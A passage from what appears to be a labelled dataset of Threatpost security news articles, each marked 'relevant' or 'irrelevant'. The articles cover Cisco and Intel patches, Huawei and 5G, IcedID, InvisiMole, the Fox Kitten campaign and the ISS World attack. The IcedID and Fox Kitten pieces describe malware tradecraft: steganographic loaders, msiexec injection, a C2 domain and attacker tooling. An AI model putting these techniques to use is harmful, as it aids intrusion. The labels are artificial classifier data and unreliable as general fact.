attackers at this time. Francis Provencher (PRL) working with Trend Micro Zero Day Initiative, and Kexu Wang of Fortinet’s FortiGuard Labs were credited with discovering the flaws (Threatpost has reached out to both researchers for further details of the vulnerability and will update this post accordingly). Webex has been haunted by other vulnerabilities since the start of the year. In January, Cisco fixed a high-severity vulnerability in Webex that could have let strangers barge in on password-protected meetings sans authentication. A separate high-severity flaw also disclosed by Cisco in January could enable a remote attacker to execute commands in Webex. Beyond Webex, Cisco on Wednesday released patches addressing flaws tied to a total of 13 CVEs. Other high-severity flaws include a vulnerability in the SSL implementation of the Cisco Intelligent Proximity solution, which is a tool allowing users to see and control content in a meeting room from their own devices. The certificate validation vulnerability (CVE-2020-3155) could allow an unauthenticated, remote attacker to view or alter information shared on Cisco Webex video devices and Cisco collaboration endpoints. And, a high-severity cross-site request forgery (CSRF) flaw exists in Cisco Prime Network Registrar, software that is comprised of components for various services, including Domain Name System (DNS) services and Dynamic Host Configuration Protocol services. The flaw (CVE-2020-3148) in the online interface of the registrar could allow an unauthenticated, remote attacker to conduct a CSRF attack on an affected systems.",relevant
"High-Severity Flaws Plague Intel Graphics Drivers Intel patched six high-severity flaws in its graphics drivers, as well as other vulnerabilities in its NUC firmware, and a load value injection vulnerability that could allow attackers to steal sensitive data. Intel has issued security patches for six high-severity vulnerabilities in its Windows graphics drivers which, if exploited, could enable escalation of privilege, denial of service (DoS) and information disclosure. The graphics driver is software that controls how graphic components work with the rest of the computer. Intel develops graphics drivers for Windows OS to communicate with specific Intel graphics devices, for instance. In addition to these six high-severity flaws, Intel stomped out 17 vulnerabilities overall in its graphics drivers on Tuesday. Separately, Intel addressed a load value injection (LVI) vulnerability (CVE-2020-0551), which it ranked as medium severity, that researchers say could allow attackers to steal sensitive data. The most severe of these is a buffer-overflow vulnerability (CVE-2020-0504) existing in Intel graphic drivers before versions 15.40.44.5107, 15.45.30.5103 and 26.20.100.7158. The flaw scores 8.4 out of 10 on the CVSS scale, making it high-severity. If exploited, this flaw “may allow an authenticated user to potentially enable a denial of service via local access,” said Intel. A buffer overflow is a type of flaw where a buffer (a region in physical memory storage used to temporarily store data while it is being moved) that can be overwritten is allocated in the heap portion of memory (a region of process’s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. Another buffer overflow flaw (CVE-2020-0501) was addressed in the graphics driver (before version 26.20.100.6912) that could also open the it up to a DoS attack by an authenticated user with local access. Intel also addressed two high-severity improper access control flaws (CVE-2020-0516 and CVE-2020-0519) in its graphics drivers that could give authenticated attackers (with local access) escalated privileges or enable them to launch a DoS attack. And, it patched a high-severity path traversal flaw (CVE-2020-0520) in the igdkmd64.sys file of the graphics drivers (before versions 15.45.30.5103, 15.40.44.5107, 15.36.38.5117 and 15.33.49.5100), which could enable privilege escalation or DoS; and an improper conditions check glitch (CVE-2020-0505) in the graphic driver (before versions 15.33.49.5100, 15.36.38.5117, 15.40.44.5107, 15.45.30.5103 and 26.20.100.7212) that may enable information disclosure and DoS. It’s not the first time flaws have been discovered in discovered in Intel’s graphics drivers. A year ago, Intel patched 19 vulnerabilities, including two high-severity flaws CVE-2018-12216 and CVE-2018-12214 that could both allow a privileged user to execute arbitrary code via local access. Other Products, Other High-Severity Flaws In its Tuesday security advisory, Intel addressed CVE-2020-0551, a new class of transient-execution attacks that exploit microarchitectural flaws to inject attacker data into a program and steal sensitive data and keys from Intel SGX (or Intel Software Guard eXtensions; which is processor technology released in 2015 to create isolated environments in the computer’s memory). “LVI turns previous data extraction attacks around, like Meltdown, Foreshadow, ZombieLoad, RIDL and Fallout, and defeats all existing mitigations,” according to researchers who discovered the flaw in a Tuesday post. “Instead of directly leaking data from the victim to the attacker, we proceed in the opposite direction: we smuggle — ‘inject’ — the attacker’s data through hidden processor buffers into a victim program and hijack transient execution to acquire sensitive information, such as the victim’s fingerprints or passwords.” Intel for its part rated the vulnerability medium severity and said in a separate post: “Due to the numerous complex requirements that must be satisfied to successfully carry out the LVI method, Intel does not believe LVI is a practical exploit in real world environments where the OS and VMM are trusted.” Intel also released patches for high-severity flaws affecting its Next Unit Computing (NUC) mini PC firmware (which has been found to be vulnerable to various flaws in the past). These flaws include an improper buffer restriction (CVE-2020-0530) in the NUC firmware that “may allow an authenticated user to potentially enable escalation of privilege via local access,” according to Intel. And, an improper input validation in the NUC firmware (CVE-2020-0526) could enable allow a privileged user with local access to enable escalation of privilege. A full list of affected NUC versions can be found here. Another high-severity vulnerability was address in BlueZ, the pairing communications Bluetooth stack for major Linux distributions that supports Bluetooth protocols and layers. Intel is a leading contributor to the BlueZ project, employing currently all but one of the maintainers. According to Intel, an improper access control flaw in the subsystem of BlueZ (before version 5.53) could allow an unauthenticated user with adjacent access to achieve escalation of privilege and launch DoS attacks. Finally, Intel fixed a high-severity flaw in its Smart Sound Technology, which provides audio and voice processing to support “voice wake” functions in devices. The vulnerability (CVE-2020-0583) is an improper access control flaw in the subsystem for Intel’s Smart Sound Technology, which could allow an authenticated user to potentially enable escalation of privilege via local access. Versions of Smart Sound Technology before the 10th Generation Intel Core i7 Processors, version 3431; and 8th Generation Intel Core Processors, version 3349 are affected; Intel recommends that users update to the latest version provided by the system manufacturer that addresses these issues.",relevant
"Huawei Controversy Highlights 5G Security Implications Security experts say that 5G supply chain concerns should be taken seriously – whether it’s in the context of Huawei or not. The controversy over Huawei’s involvement in the 5G telecom gear market ratcheted up a notch this week. U.S. officials said they have evidence that the Chinese equipment giant has had access to backdoors inside mobile carrier networks for more than 10 years. Officials are trying to make the case that the U.S. and its allies should ban Huawei from supplying infrastructure for 5G networks going forward, due to what they say is the possibility of widespread, Beijing-backed espionage. Huawei rejected the allegations, and other countries around the world are continuing to build networks using the vendor’s gear despite the U.S. position on the vendor. But security experts say that 5G supply-chain concerns should be taken seriously – whether it’s in the context of Huawei or not. “A backdoor to a lawful intercept interface could yield a treasure trove of information to a malicious actor — including the current location of a target, details including when and where a call was placed, and even the ability to eavesdrop or listen into a current call,” Russ Mohr, engineer and Apple evangelist at MobileIron, told Threatpost. “A backdoor is an extremely valuable resource to a bad actor, and it is likely that it would be much more valuable as an asset to collect data than as a mounting point for an attack — although it may provide an opportunity to inject ransomware into a 5G network targeting a mobile carrier.” Latest Allegations The feds told the Wall Street Journal that Huawei can make use of backdoors that have been put in place by lawful-intercept legislation. Implemented around the world, these laws allow law enforcement to access call records, location data and other wireless network information during the course of a criminal investigation, under certain circumstances (in the U.S. it takes a special court approval process). The idea of lawful intercept is probably best-known from the Patriot Act, passed by the Bush administration in the wake of 9/11. That expanded law enforcement’s access to electronic records in the context of suspected terror threats. While declining to offer details, U.S. officials claim that Huawei has had a secret capability to tap into these lawful-intercept interfaces without carriers’ knowledge, since 2009. According to the Wall Street Journal, national security adviser Robert O’Brien alleged, “We have evidence that Huawei has the capability secretly to access sensitive and personal information in systems it maintains and sells around the world.” Huawei has vigorously denied the allegations. A senior Huawei official told the paper: “The use of the lawful interception interface is strictly regulated and can only be accessed by certified personnel of the network operators. No Huawei employee is allowed to access the network without an explicit approval from the network operator,” the official said. Accessing the backdoors without carrier permission “is extremely implausible and would be discovered immediately,” the official added. Meanwhile, amidst all of this back-and-forth, the U.S. efforts to bring allies on board with a 5G ban for Huawei have largely fallen on deaf ears. The European Union in October, without naming Huawei, did warn of the danger that “state-backed 5G suppliers” could present. Yet last month, the U.K. said that its analysis of the U.S. evidence did not lead to a conclusion that a ban was necessary. The country has given the greenlight to carriers, allowing Huawei gear in the noncore parts of 5G networks. And in Germany, a bill is making its way through legislature (with the backing of Deutsche Telekom) that would allow Huawei full access to the 5G market there as long as it meets certain conditions. Similarly, in Canada, top operator Telus said it will use Huawei 5G equipment “out of the gate,” as it readies its launch later this year. “We’ve already seen that Huawei equipment, although essentially disallowed in the U.S., will be deployed in more 5G networks than other leading infrastructure manufacturers such as Nokia and Ericsson,” Mohr told Threatpost. “For instance, the U.K. has agreed to allow Huawei equipment to be deployed ‘non-sensitive’ areas, with Germany widely expected to follow suit.” In general, the geopolitical finger-pointing highlights the continued concern around security for 5G mobile networks, according to security experts. 5G: An Expanding Threat Landscape 5G networks are fundamentally different than prior wireless networks in that they are largely software-defined and virtualized; network functions, historically defined in hardware, become virtual software capabilities in 5G, all orchestrated via a flexible software control plane. Even the air interfaces in the radio access network (RAN) are software-defined in 5G. Also, 5G networks will make use of edge computing, where applications, general-purpose compute, storage, and associated switching and control functions that are required to run them are housed relatively close to end users and internet of things (IoT) endpoints or both. That’s a shift from centralized architectures common to 4G and before, and creates a much larger computing footprint. All of this vastly expands the attack surface and the possibility for the emergence of rafts of exploitable vulnerabilities throughout the architecture — in places that were never exposed before, according to the E.U. report. “Although 5G is regarded as the most secure mobile protocol to date, we’ve seen exploits are possible,” Mohr told Threatpost. “With the widespread adoption of network virtualization — which means that less and less specialized hardware is deployed in carrier networks — it’s possible that malicious actors could gain visibility and control over 5G networks through a single point of entry.” Carrier Protection To protect against cybersecurity concerns, it’s important that carriers put their sourced gear through a thorough vetting, from top layer applications all the way down to the firmware level, where backdoor implants are placed. “Carriers should make use of existing security tools and hire independent auditors to assess all aspects of their 5G networks,” Mohr said. “They also should take steps to make sure that their vendors are implementing the latest versions of the 5G protocols in the equipment or software they have purchased…Mobile operators should invest in automating and augmenting their internal testing teams to make sure that these releases aren’t held up by extensive internal carrier testing cycles.” Regulation could also play an important role, according to Mohr. “The European Union recently announced a ‘Toolbox for 5G Security,’ with many expecting greater details to be announced during the now-cancelled Mobile World Congress in Barcelona,” he told Threatpost. “The intent is to examine existing 5G networks, including network supply chains, for vulnerabilities. This said, compliance will vary among nation states and carriers, and of course, any E.U. regulation no longer applies to the U.K.” Terry Dunlap, chief strategy officer and co-founder of ReFirm Labs, noted that Huawei’s cellular base stations or small cells have significant pricing, size and energy consumption advantages over the other top competitors – which, he said, should not blind carriers as they go about their vetting processes. “It’s important to note that Huawei gets its foot in the proverbial door via very attractive pricing that is the result of subsidization by the Chinese government,” he told Threatpost. “Their strategy is long-term, slowly over time adding more and more pieces of communications gear until the eventual switching costs you would face from a non-subsidized replacement option become huge. We cannot be penny wise and pound foolish. There’s too much at stake.”",irrelevant
"IcedID Banker is Back, Adding Steganography, COVID-19 Theme The malware has boosted its anti-detection capabilities in a new email campaign. A new version of the IcedID banking trojan has debuted that notably embraces steganography – the practice of hiding code within images – in order to stealthily infect victims. It has also changed up its process for eavesdropping on victims’ web activity. Researchers at Juniper Threat Labs have uncovered an email spam campaign circulating in the United States spreading the malware. The messages use the COVID-19 pandemic and the Family and Medical Leave Act (FMLA) as their theme, including using related keywords in email sender names and attachment names. The attachments are boobytrapped with malicious macros that, if opened, execute the IcedID banking trojan, which has been around since 2017. IcedID specializes in mounting man-in-the-browser attacks to intercept and steal financial information from victims. In the latest campaign, it harvests credentials and payment-card data from Amazon.com, American Express, AT&T, Bank of America, Capital One, Chase, Discover, eBay, E-Trade, J.P. Morgan, Charles Schwab, T-Mobile, USAA, Verizon Wireless, Wells Fargo and others. This latest variant changes up its infection tactics by injecting into msiexec.exe to insert itself into browser traffic, and using full steganography for downloading its modules and configurations, researchers said. “Previous versions of IcedID injected into svchost.exe and downloaded encrypted modules and config as .DAT files,” according to a Thursday posting. Steganography at Work When a user opens the malicious document, it drops a first-stage binary, which in turn fetches a second-stage loader. This second loader’s purpose is to download yet another loader, which retrieves another, third-stage piece of code “[The second-stage loader] first unpacks itself by reading a binary file embedded in its resource, decrypting it and executing in memory. It will then loop on [several] domains, using WinHTTP queries,” according to the analysis. “All of the…queries are normal, except for connuwedro[.]xyz. It does this to evade detection by trying to blend to normal traffic.” The queries look for a specific response from connuwedro[.]xyz that contains a .PNG image file with the tag “IDAT.” The loader then decrypts this .PNG file using the RC4 algorithm and executes the binary that’s embedded within it. The binary –a third-stage loader that finally installs IcedID on the target machine – is saved in the %APPDATA% folder and, for persistence, it creates a scheduled task that will execute every hour. “Similar to the second stage, it applies the same technique of unpacking itself and using steganography,” according to Juniper. “It unpacks an embedded binary in its resource and executes it. Once unpacked, it will download the IcedID main module as a .PNG file.” The image is saved in a directory, embedded with the encrypted IcedID main module. The image features some tricks to thwart analysis, Juniper noted. “The encryption algorithm is RC4 and the keys are also embedded in the image at specific offset,” according to the post. “The decrypted code is not a complete PE image, as it does not contain any header. Most of its strings are also encrypted, which makes analysis even harder.” Injecting into Msiexec.exe The main module first spawns a suspended process using msiexec.exe – MSI is a legitimate installer package file format used by Windows to deploy applications. Then, IcedID issues a series of API calls to inject itself into that remote process. “Using msiexec.exe /i {random name}.msi is a simple technique to try to conceal itself and look like a normal installation of an MSI application,” said the researchers. The IcedID main module code injected into the msiexec.exe process then beacons out to a command-and-control (C2) server and awaits commands, which include downloading configuration updates, executing additional code and files, uploading files, collecting system information – and, most importantly – extracting passwords stored in browsers and mail applications. Then, it monitors for users getting online – specifically opening the Firefox, Chrome or Internet Explorer. If the victim opens a browser window, IcedID creates a local proxy that listens on 127.0.0.1:56654; hooks APIs on the browsers; and generates a self-signed certificate in the %TEMP% folder. “With these three things, all connections to the browser are proxied to msiexec.exe and it achieves full control of the browser,” explained the researchers. “It will monitor browser activity related to financial transactions and inject forms on the fly to try to steal credit-card details.” In all, the latest version of IcedID exhibits several layers of sophistication, according to the analysis, including the use of msiexec, full steganography, and the approach of using blended communication with normal traffic to hide. This, combined with the use of HTTPS communication and string encryption, shows that the malware’s authors were mainly interested in bolstering the malware’s anti-detection capabilities in this version, researchers said. “IcedID is a very complex malware and there is no doubt the threat actors behind this are very much capable, with constant updates to their arsenal,” Juniper researchers concluded. “In summary, this latest IcedID campaign focused on evasion.”",irrelevant
"Intel Fixes High-Severity Flaws in NUC, Discontinues Buggy Compute Module Intel fixed nine high- and medium-severity flaws in its April security update, which could enable privilege escalation and denial of service attacks. Intel has stomped out high-severity flaws in its Next Unit Computing (NUC) mini PC firmware, and in its Modular Server MFS2600KISPP Compute Module. Overall, Intel addressed nine vulnerabilities across six products in its April security update – two of those being high-severity, and the rest being medium-severity. If exploited, the flaws could allow attackers to escalate privileges or launch denial-of-service (DoS) attacks. Discontinuation Notice for MFS2600KISPP One of the high-severity flaws stems from a compute module (MFS2600KISPP) used in Intel’s modular server system, which is a blade system for Intel motherboards and processors first introduced in 2008. The vulnerability stems from an improper conditions check, which could allow an unauthenticated user to potentially enable escalation of privilege (via adjacent access). The flaw (CVE-2020-0578) ranks 7.1 out of 10 on the CVSS severity scale. In addition to this flaw, two medium-severity flaws were also discovered in the same compute module: A buffer overflow (CVE-2020-0576) vulnerability that could allow an unauthenticated attacker to launch a DoS attack (via adjacent access); and an insufficient control flow glitch (CVE-2020-0577) that allows an unauthenticated user to potentially escalate privileges via adjacent access. All versions of the MFS2600KISPP compute module are affected, but Intel said that it is not releasing security updates to mitigate the bugs – instead, it will discontinue the MFS2600KISPP compute module entirely. “Intel has issued a product-discontinuation notice for Intel Modular Server MFS2600KISPP Compute Module and recommends that users of the Intel Modular Server MFS2600KISPP Compute Module to discontinue use at their earliest convenience,” according to Intel’s advisory. On a related note, Intel also disclosed an incorrect default permissions issue in the installer of its Data Migration Software versions 3.3 and earlier, which could allow an authenticated user to potentially enable escalation of privilege via local access. Rather than release patches, Intel said it will discontinue this product as well, which is used to transfer data between solid-state drives (SSDs). April Patches Meanwhile, a high-severity flaw in Intel’s NUC (CVE-2020-0600) could enable users to access escalated privileges – if they have local access and are authenticated. The flaw stems from improper buffer restrictions in the NUC’s firmware. Below is a list of affected NUC products, from the NUC rugged kit to the compute stick: Intel NUC Intel also fixed medium-severity flaws in its PROSet/Wireless Wi-Fi software, which allows Intel Wireless or Wi-Fi devices to function properly. The vulnerabilities could give an authenticated attacker escalated privileges via local access (CVE-2020-0557) or allow an unprivileged user to launch a DoS attack via adjacent access (CVE-2020-0558). Another medium-severity flaw (CVE-2020-0568) in the Intel Driver and Support Assistant (which keeps systems up-to-date by sniffing out available updates) could enable DoS from an authenticated user with local access. And, an uncontrolled search-path glitch (CVE-2020-0598) in the installer of the Intel Binary Configuration Tool for Windows could also give an authenticated, local user escalated privilege. The Intel Binary Configuration Tool is a utility used to change configuration settings embedded in an Intel Firmware Support Package. The security updates come on the heels of Intel’s March updates, where the chip manufacturer issued security patches for six high-severity vulnerabilities in its Windows graphics drivers. If exploited, these flaws could enable escalation of privilege, denial of service and information disclosure. Also this week, Microsoft released 115 patches for Patch Tuesday, and Oracle patched a whopping 405 security vulnerabilities – while on the other end of the spectrum, Adobe went light, with only five CVEs addressed for April.",relevant
"Intel Patches High-Severity Flaw in Security Engine The high-severity vulnerability could enable denial of service, privilege escalation and information disclosure. Intel is warning of a high-severity flaw in the firmware of its converged security and management engine (CSME), which if exploited could allow privilege escalation, denial of service and information disclosure. CSME powers Intel’s Active Management System hardware and firmware technology, used for remote out-of-band management in consumer or corporate PCs, Internet of Things (IoT) devices, and workstations. The subsystem of CSME has an improper authentication bug (CVE-2019-14598), which has a CVSS score of 8.2 out of 10.0, making it high severity. A privileged user, with local access, could exploit the flaw to launch an array of attacks, according to Intel. “Intel recommends updating to Intel CSME versions 12.0.49, 13.0.21, and 14.0.11 or later provided by the system manufacturer that addresses these issues,” according to Intel’s advisory. “Intel recommends IOT customers using Intel CSME version 12.0.55 to update to 12.0.56 or later provided by the system manufacturer that addresses these issues.” It’s not the first serious flaw found in CSME. In November, a critical flaw in CSME was patched that could allow escalation of privilege, denial of service or information disclosure. Another critical flaw discovered in May could allow an authenticated user to enable escalation of privilege over network access in CSME. Other Flaws Overall, Intel patched six flaws on Tuesday, including the high-severity flaw in CSME. The remainder of the vulnerabilities were medium and low-severity. A medium-severity flaw was found in Intel Renesas Electronics USB 3 driver, the driver for the USB 3 Renesas Electronics adapter that comes in many common Intel motherboards. The flaw allows privilege escalation (CVE-2020-0560) and stems from improper permissions in the installer. Intel said that rather than releasing updates, it has issued a product discontinuation notice for the driver. All versions of the driver are affected. “Intel has issued a Product Discontinuation notice for Intel Renesas Electronics USB 3.0 Driver and recommends that users of the Intel Renesas Electronics USB 3.0 Driver uninstall it or discontinue use at their earliest convenience,” Intel said. Two medium-severity flaws exist in versions of the Intel RAID Web Console, which allows users to configure the Intel RAID custom storage controllers and disk drives installed on a system. One medium-severity privilege escalation flaw exists in Intel RAID Web Console 3 for Windows (CVE-2020-0564), which stems from improper permissions in the installer. The other exists in Intel RAID Web Console 2, also stemming from improper permissions in the installer (CVE-2020-0562). Intel also patched a medium-severity flaw in Intel Manycore Platform Software Stack, a series of Intel software components necessary to run the Intel Xeon Phi Coprocessor. The flaw (CVE-2020-0563) that allows privilege escalation and stems from improper permissions in the installer. Finally, a low-severity flaw was discovered and patched in the Intel Software Guard Extension (SGX) SDK, which if exploited could enable privilege escalation. It’s only the latest Intel security updates. In January, Intel warned of a high-severity vulnerability in its performance analysis tool called Intel VTune Profiler. If exploited the flaw allows an adversary to perform a privilege escalation attack, giving them elevated and unauthorized system access to a targeted system. Also in January, Intel disclosed a new speculative execution type attack, dubbed CacheOut, that could allow attackers to trigger data leaks from most Intel CPUs.",relevant
"InvisiMole Group Resurfaces Touting Fresh Toolset, Gamaredon Partnership InvisiMole is back, targeting Eastern Europe organizations in the military sector and diplomatic missions with an updated toolset and new APT partnership. The InvisiMole threat group has resurfaced in a new campaign, revealing a new toolset and a strategic collaboration with the high-profile Gamaredon advanced persistent threat (APT) group. InvisiMole was first uncovered by ESET in 2018, with cyberespionage activity dating back to 2013 in operations in Ukraine and Russia. More recently, from late 2019 until at least this month, researchers have spotted the group attacking a few high-profile organizations in the military sector and diplomatic missions, both in Eastern Europe. These attacks were “highly targeted,” affecting only a few dozen computers. This more recent campaign allowed researchers to find the “missing pieces of the puzzle” on the group’s latest tactics, techniques and procedures (TTPs), observing the group’s updated, sophisticated toolset being used for the delivery, lateral movement and execution of InvisiMole’s backdoors. “After discovering new activity in late 2019, we gained the opportunity to take a proper look under the hood of InvisiMole’s operations and piece together the hidden parts of the story,” said researchers with ESET in a Thursday analysis, shared at ESET Virtual World 2020. “Analyzing the group’s updated toolset, we observed continuous development and substantial improvements, with special focus on staying under the radar.” Updated Toolset Back when InvisiMole was first uncovered in 2018, researchers documented two backdoors used by the threat group, RC2CL and RC2FM. These two backdoors feature various espionage functionalities, including recording the victim on their webcam and microphone, tracking the geolocation of the victim and collecting recently accessed documents. The InvisiMole malware has since been updated with new changes aiming to add stealth to its operations. The updated InvisiMole toolset relies heavily on “living off the land” techniques, which are used across its four different execution chains, abusing legitimate applications to perform malicious operations while flying under the radar. For instance, the components used by InvisiMole malware are encrypted using a legitimate Windows feature named the Data Protection API, a feature that allows users to protect data in their apps. This tactic “ensures that the payload can only be decrypted and executed on the affected computer, thus protecting it from analysis by security researchers,” said researchers. The updated InvisiMole toolset also features a new component that uses DNS tunneling for stealthier command-and-control (C2) communication. DNS tunneling involves encoding the data of other programs or protocols in DNS queries and responses; often involving data payloads that can be added to an attacked DNS server and used to control a remote server and applications. Researchers also discovered that InvisiMole uses NSA exploit EternalBlue and BlueKeep exploit (CVE-2019-0708 and CVE-2017-0144, respectively) for lateral movement in its victims’ networks. “In this recent campaign, the backdoor [uses] added functionality to scan the compromised network for hosts that support the vulnerable SMBv1.0 protocol,” said researchers. “InvisiMole uses this capability to spread in the network via the EternalBlue exploit.” Gamaredon Link During their investigation, researchers found attempts to deploy the InvisiMole malware using server infrastructure that is known to be used by Gamaredon. The Gamaredon APT, which has been active since at least 2013, is responsible for a number of high-profile attacks, including recent attacks on Ukrainian national security targets. More recently, in 2020, the threat group gave its post-compromise toolset a facelift with the addition of a new Visual Basic for Applications (VBA) macro, targeting Microsoft Outlook users. Despite this recent innovation, the tools utilized by Gamaredon have historically been very simple and designed to gather sensitive data from compromised systems. In its partnership with InvisiMole, researchers believe that Gamaredon plays a role in initially infiltrating networks of interest (typically via spear-phishing attacks) using these simple tools, and possibly gaining administrative privileges. Then, InvisiMole, whose more advanced tooling requires elevated rights, steps in. “This discovery also reveals a previously unreported cooperation between the Gamaredon and InvisiMole groups,” said researchers. “However, it should be noted these two groups use different TTPs and have a varying level of sophistication—the Gamaredon group seems to make no effort in trying to stay under the radar, in contrast with the stealthiness of InvisiMole demonstrated in the recent campaign.”",relevant
"Iran-Backed APTs Collaborate on 3-Year ‘Fox Kitten’ Global Spy Campaign APT34/OilRig and APT33/Elfin have established a highly developed and persistent infrastructure that could be converted to distribute destructive wiper malware. Two Iran-backed APTs could be working together on a sprawling, three-year campaign to compromise high-value organizations from the IT, telecom, oil and gas, aviation, government and security sectors in Israel and around the world, according to a report by researchers at ClearSky. They maintain, APT34/OilRig and APT33/Elfin appear to be linked to the campaign (which they dubbed Fox Kitten). The offensive has resulted in the establishment of a highly developed and persistent infrastructure of access to company networks, which has been used for reconnaissance and espionage, they said. However, it’s also the perfect launchpad for the deployment of destructive malware such as ZeroCleare and Dustman, researchers noted, both of which have been linked to the APTs. “Aside from malware, the campaign enfolds an entire infrastructure dedicated to ensuring the long-lasting capability to control and fully access the targets chosen by the Iranians,” researchers said in an analysis over the weekend. According to the analysis, Fox Kitten’s objective has been to develop and maintain access routes to the targeted organizations, establishing persistent footholds within them; stealing information; and pivoting from within to additional targets via supply-chain attacks. The Fox Kitten Toolset The campaign has used a range of tools, including some based on open-source code and some custom weapons. Target Set — Click to Enlarge The initial infection vector has been the exploitation of recently disclosed vulnerabilities in different VPN services such as Pulse Secure VPN, Fortinet VPN and Global Protect by Palo Alto Networks. “We assess this attack vector to be significant also in 2020 apparently by exploiting new vulnerabilities in VPNs and other remote systems (such as the latest one existing in Citrix),” according to the report. “Iranian APT groups have developed good technical offensive capabilities and are able to exploit ‘one-day’ vulnerabilities in relatively short periods of time, starting from several hours to a week or two.” Upon gaining foothold at the target, the attackers tried to maintain the access to the networks via a variety of communication tools, including opening Remote Desktop (RDP) links over SSH tunneling, in order to camouflage and encrypt the communication with the targets. They also installed a set of remote access and communication tools and tools designed for privilege escalation; along with several backdoors into the systems they have compromised. The use of VPNs and RDP is savvy, the researchers noted: “The time needed to identify an attacker on a compromised network is long, and varies between months to not at all. The existing monitoring capability for organizations to identify and block an attacker that entered through remote communication tools is difficult, to impossible.” At the final stage, after successfully infiltrating the organization, the attackers “performed a routine process of identification, examination and filtering of sensitive, valuable information from every targeted organization,” according to the report. “The valuable information was sent back to the attackers for reconnaissance, espionage or further infection of connected networks.” ClearSky said that the custom tools used by the Iranian attackers include the backdoor that opens a SSH tunnel between the attacker and the target, and allows the former to connect to the latter through RDP. This is called POWSSHNET. Other self-developed tools include a database- and open-ports-mapping tool called STSRCheck; a VBScript that can download TXT files from the command-and-control (C2) server and unify these files to a portable executable file; a backdoor executable file used to open a socket-based connection to a hardcoded IP address; and an executable “Port.exe” tool to scan predefined ports and IP addresses. The attackers tailored their custom tools to match the operating systems at target organizations. “Thus, in 2017 the tools were developed and fitted to 32-bit systems, while in 2019 the tools were developed for 64-bit systems,” according to the analysis. Open source-based tools adjusted to the attackers’ use include PowerShell commands in order to perform “Pass the Hash” methods; JuicyPotato, a local privilege escalation tool; Ngrok, FRP and Serveo for C2 protocol; and Putty and Plink, for remote services. The easiest protection point in the kill chain is clearly via timely patching, researchers note. “Several VPN products have had vulnerabilities disclosed in recent months, and so it’s not surprising that state-backed groups are looking to leverage their window of opportunity, knowing all too well that patching vulnerable systems can take organizations a long time,” Javvad Malik, security awareness advocate at KnowBe4, said via email. “There is a certain irony to this as organizations that deploy VPNs for security, could be breached because of those very security products. Because many security products run at higher privileges, any compromise could give a criminal the keys to the kingdom. Therefore it would be prudent for organizations to identify security software in their asset inventories, and ensure they are patched as a matter of urgency.” Attribution The researchers said that they have “medium-high” confidence that APT34/OilRig is involved in the campaign; and “medium” confidence that APT33/Elfin is. The APT34 connection stems from the fact that part of the attack infrastructure used by the group in previous campaigns has been reused for Fox Kitten. And, several of the targets are the same targets that the group has gone after before. Also, the infrastructure contains widespread use of webshells, which fits the group’s past tactics, techniques and procedures (TTPs). “In April-May 2019, a number of webshells belonging to OilRig were revealed throughout the Middle East, most of which against companies in the Gulf and in Israel – in Israel, a webshell-based attack was revealed in one of the country’s leading universities, while in the Gulf several webshells were found in aviation companies and ministries,” explained the researchers. A further connection comes from the ZeroCleare malware attacks, which were likely the work of APT34/OilRig, according to IBM X-Force researchers. ZeroCleare is a destructive wiper malware that last year was deployed to target the energy and industrial sectors in the Middle East; it shares characteristics with the infamous Shamoon malware. The same vulnerabilities that the group exploited for the ZeroCleare attacks were targeted in Fox Kitten, ClearSky researchers noted. They also saw an overlap in approaches with the APT39/Chafer group, considered a subgroup of APT34/OilRig. “The most apparent overlap in methods includes the use of stolen VPN credentials, lateral movement through RDP, and exfiltration based on file compression in ZIP or RAR formats,” according to the report. As for APT33/Elfin, APT34/OilRig likely collaborated on the actual destructive malware portion of the ZeroCleare campaign with APT33/Elfin, IBM X-Force researchers found. “IBM has attributed the ZeroCleare distribution campaign to APT34 with an additional Iranian group known for [destructive] capabilities, and we assess that this means APT33,” according to ClearSky. “It was mentioned that the attack was divided into two main parts – breach and access to the network be APT34, and then distribution of a destructive capability by another Iranian group, which we assess to be APT33.” Also, security firm Dragos recently observed an offshoot of APT33, dubbed Magnallium, expanding its targeting from the global oil-and-gas industry to specifically include electric companies in North America. Researchers there called that campaign “Parisite” – and ClearSky researchers said that Parisite is in fact just one part of the broader Fox Kitten campaign. This is based on overlaps between some of the files used in the Parisite campaign and the files and tools used in the Fox Kitten campaign, they said. “[Our research] reveals a strong connection to two groups that were [previously] analyzed as separate units. In recent months, several reports dealing with tools common to APT34 and APT33 were published, while [our] report exemplifies the cooperation between the two as one big espionage establishment,” according to ClearSky. “We know that both groups work in many tracks – infection and social engineering, reconnaissance and espionage, and even sabotage, while emphasizing each group’s specialty.” While no destructive malware has been seen in the Fox Kitten campaign, ClearSky noted that it would be very easy to use the infrastructure to disseminate a wiper on a large scale. And given the connections to ZeroCleare, the concern becomes more relevant. “We assess such recon campaigns to be convertible to disseminate destructive attacks after studying the target organization, similar to the ZeroCleare events in the Gulf,” according to the analysis. Here are some of the TTP overlaps observed by the research firm: ",irrelevant
"ISS World Hit with Malware Attack that Shuts Down Global Computer Network The incident cut off access to e-mail and shared IT services across customer sites of the multinational Denmark-based facility-management firm. A Denmark-based global facility-management company was hit with a major cyber attack this week that shut down its worldwide computer systems for a few days and disrupted operations across its global network of employees. ISS World cut off access to shared IT services across its customer sites and offices worldwide after it was the target of a malware attack on Monday, Feb. 17, the company said in a press statement. “The root cause has been identified and we are working with forensic experts, our hosting provider and a special external task force to gradually restore our IT systems,” the company said.ISS was able to restore some systems early into the attack and said it initially did not see any evidence of the compromise of customer data. Still, the attack left the 43,000 employees of the company without access to email or other online services, according to reports. ISS—based Soburg, Denmark–provides turnkey facility-management services, such as cleaning, catering and security, to clients in more than 70 countries. Its global network of employees generally works not in offices but at client facilities to ensure day-to-day operations run efficiently. While ISS World is not officially sharing details of the attack, some reports suggest the attackers used ransomware, noting the immediate cut off of online services as a typical indicator of a cyber extortion scheme. Threat actors in these type of attacks often hijack company computer systems until the targeted firm pays a ransom. However, the specifics of the attack are still unknown and ISS will only say it is investigating. The attack is reminiscent of two other ransomware attacks that happened around the same time that crippled the computer systems of companies that provide key infrastructure or services, creating a ripple effect that hamstrung global operations. One reported this week happened at a natural gas compression facility in the U.S., resulting in a two-day pipeline shutdown as the unnamed victim worked to bring systems back online from backups. The other, which occurred Feb. 14, is being reported as a ransomware infection at INA Group, Croatia’s biggest oil company and its largest petrol supply station chain. The attack infected and then encrypted some of the company’s back-end servers, according to a published report. By Friday morning European time, ISS World’s websites were working as usual again, but it’s not clear if the company has restored email and other online systems to full working order. A link to the company’s statement about the attack on the website home page did not offer any new information. Ducklin urged ISS World customers not to “jump down the throat” of 